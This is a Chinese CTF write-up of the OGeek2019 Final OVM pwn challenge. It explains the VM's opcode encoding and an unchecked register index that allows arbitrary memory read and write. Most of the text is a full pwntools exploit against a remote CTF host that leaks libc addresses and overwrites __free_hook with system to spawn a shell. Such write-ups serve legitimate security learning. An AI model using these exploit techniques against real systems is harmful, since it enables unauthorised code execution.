BUU-[OGeek2019 Final]OVM-WP

Posted on Apr 15, 2021

做的第二道虚拟机类题,此题还算比较简单,因为程序结构很清晰,也贴心的给出了调试信息,可以比较容易读懂程序。读懂程序之后找到漏洞点,利用就比较简单了。

程序的主题逻辑就是读入一堆 opcode,然后逐个执行。首先要看出 opcode 的写法

每个 opcode 都是一个 32 位数,记为 0xAB0C0DEF,那么 AB 代表执行的指令码,C,D,E 则是三个寄存器下标。程序提供了各种常用的操作,包括四则运算和一些位运算。

特别的

对于指令 0x10,其功能为将 0xEF 赋值给 reg[C] 而非把整个 opcode 赋值给它。这里 IDA 的反编译没有写清楚。

然后就是两个比较明显的漏洞点

这两处都没有对下标合法性做检测,通过在 reg[F] 中存入恰当的下标,就可以实现任意地址读写。

有了任意地址读写,就给利用打下了基础。刚开始我准备 leak 出 libc_base 和 进程基址相减算出下标直接打 __free_hook,在最后 comment 的时候输入 “/bin/sh\x00” 来 getshell,但是这里坑爹的是虚拟机是 32 位的,无法寻址。实际上利用不需要这么麻烦

通过任意地址写直接粗暴地修改 comment 指向的地址为 &__free_hook - 8,然后再 comment 的时候输入 /bin/sh\x00 + p64(system_addr) 就可以了。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]

#sh = process("./pwn")
sh = remote("node3.buuoj.cn",28909)

sh.sendlineafter("PC: ",'0')
sh.sendlineafter("SP: ",'0')
sh.sendlineafter("CODE SIZE: ",'36')

sh.recvuntil("CODE: ")
sh.sendline(str(0x10000008)) # reg[0] = 0x8
sh.sendline(str(0x100100FF)) # reg[1] = 0xFF
sh.sendline(str(0xC0020100)) # reg[2] = 0xFF00 = reg[1] << reg[0]
sh.sendline(str(0xA0020102)) # reg[2] = 0xFFFF = reg[1] | reg[2]
sh.sendline(str(0xC0020200)) # reg[2] = 0xFFFF00 = reg[2] << reg[0]
sh.sendline(str(0xA0020102)) # reg[2] = 0xFFFFFF = reg[1] | reg[2]
sh.sendline(str(0xC0020200)) # reg[2] = 0xFFFFFF00 = reg[2] << reg[0]
sh.sendline(str(0x100100C2)) # reg[1] = 0xC2
sh.sendline(str(0xA0010102)) # reg[1] = 0xFFFFFFC2 = reg[1] | reg[2]
sh.sendline(str(0x30040001)) # reg[4] = memory[reg[1]] #free_addr & 0xFFFFFFFF
sh.sendline(str(0x10000001)) # reg[0] = 1
sh.sendline(str(0x70010001)) # reg[1] = reg[0] + reg[1]
sh.sendline(str(0x30050001)) # reg[5] = memory[reg[1]] # free_addr >> 32
# reg[5]:reg[4] == free_addr
sh.sendline(str(0x10010048)) # reg[1] = 0x48
sh.sendline(str(0xA0010201)) # reg[1] = 0xFFFFFF48 = reg[2] | reg[1]
sh.sendline(str(0x30060001)) # reg[6] = memory[reg[1]] #_do_global_dtors_aux & 0xFFFFFFFF
sh.sendline(str(0x10000001)) # reg[0] = 1
sh.sendline(str(0x70010001)) # reg[1] = reg[0] + reg[1]
sh.sendline(str(0x30070001)) # reg[6] = memory[reg[1]] #_do_global_dtors_aux >> 32
# reg[7]:reg[6] == _do_global_dtors_aux
sh.sendline(str(0x10000008)) # reg[0] = 0x8
# 20 rows
sh.sendline(str(0x10010034)) # reg[1] = 0x34
sh.sendline(str(0xC0010100)) # reg[1] = 0x3400 = reg[1] << reg[0]
sh.sendline(str(0x10030022)) # reg[3] = 0x22
sh.sendline(str(0xA0010301)) # reg[1] = 0x3422 = reg[3] | reg[1]
sh.sendline(str(0xC0010100)) # reg[1] = 0x3400 = reg[1] << reg[0]
sh.sendline(str(0x100300B8)) # reg[3] = 0xB8
sh.sendline(str(0xA0010301)) # reg[1] = 0x3422B8 = reg[3] | reg[1]
sh.sendline(str(0x70040104)) # reg[4] = reg[1] + reg[4]
# reg[5]:reg[4] == __free_hook
sh.sendline(str(0x10010008)) # reg[1] = 0x8
sh.sendline(str(0x80040401)) # reg[4] = reg[4] + reg[1]
# 30 rows
sh.sendline(str(0x100100F8)) # reg[1] = 0xF8
sh.sendline(str(0xA0010102)) # reg[1] = 0xFFFFFFF8 = reg[1] | reg[2]
sh.sendline(str(0x40040001)) # memory[reg[1]] = reg[4]
sh.sendline(str(0x10000001)) # reg[0] = 0x1
sh.sendline(str(0x70010001)) # reg[1] = reg[0] + reg[1]
sh.sendline(str(0x40050001)) # memory[reg[1]] = reg[5]

sh.recvuntil("R4: ")
low_addr = int(sh.recv(8),base = 16)
sh.recvuntil("R5: ")
high_addr = int(sh.recv(4),base = 16)
system_addr = ((high_addr << 32) | low_addr) + 8 - 0x381418
log.success("system_addr:" + hex(system_addr))

sh.sendlineafter("OVM?\n","/bin/sh\x00" + p64(system_addr))

#gdb.attach(proc.pidof(sh)[0])

sh.interactive()